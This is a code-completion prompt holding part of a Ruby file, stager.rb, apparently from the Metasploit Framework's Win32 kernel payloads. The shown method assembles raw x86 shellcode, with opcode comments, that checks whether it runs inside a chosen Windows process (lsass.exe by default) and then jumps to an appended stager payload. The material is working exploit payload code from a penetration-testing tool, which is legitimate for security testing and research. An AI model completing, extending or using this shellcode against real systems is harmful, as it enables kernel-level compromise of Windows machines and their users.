You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: stager.rb
    path of file: ./repos/metasploit-framework/lib/rex/payloads/win32/kernel
    
    the code of the file until where you have to start completion: # -*- coding: binary -*-
module Rex
module Payloads
module Win32
module Kernel

#
# Stagers are responsible for reading in another payload an
    
  def self._run_only_in_win32proc_stub(append = '', opts = {})
    opts['RunInWin32Process'] = "lsass.exe" if opts['RunInWin32Process'].nil?

    process  = opts['RunInWin32Process'].downcase
    checksum =
      process[0]         +
      (process[2] << 8)  +
      (process[1] << 16) +
      (process[3] << 24)

    "\x60"                                 + # pusha
    "\x6A\x30"                             + # push byte +0x30
    "\x58"                                 + # pop eax
    "\x99"                                 + # cdq
    "\x64\x8B\x18"                         + # mov ebx,[fs:eax]
    "\x39\x53\x0C"                         + # cmp [ebx+0xc],edx
    "\x74\x26"                             + # jz 0x5f
    "\x8B\x5B\x10"                         + # mov ebx,[ebx+0x10]
    "\x8B\x5B\x3C"                         + # mov ebx,[ebx+0x3c]
    "\x83\xC3\x28"                         + # add ebx,byte +0x28
    "\x8B\x0B"                             + # mov ecx,[ebx]
    "\x03\x4B\x03"                         + # add ecx,[ebx+0x3]
    "\x81\xF9" + [checksum].pack('V')      + # cmp ecx,prochash
    "\x75\x10"                             + # jnz 0x5f
    "\x64\x8B\x18"                         + # mov ebx,[fs:eax]
    "\x43"                                 + # inc ebx
    "\x43"                                 + # inc ebx
    "\x43"                                 + # inc ebx
    "\x80\x3B\x01"                         + # cmp byte [ebx],0x1
    "\x74\x05"                             + # jz 0x5f
    "\xC6\x03\x01"                         + # mov byte [ebx],0x1
    "\xEB" + [append.length + 1].pack('C') + # jmp stager
    "\x61" + append						        # restore regs
  end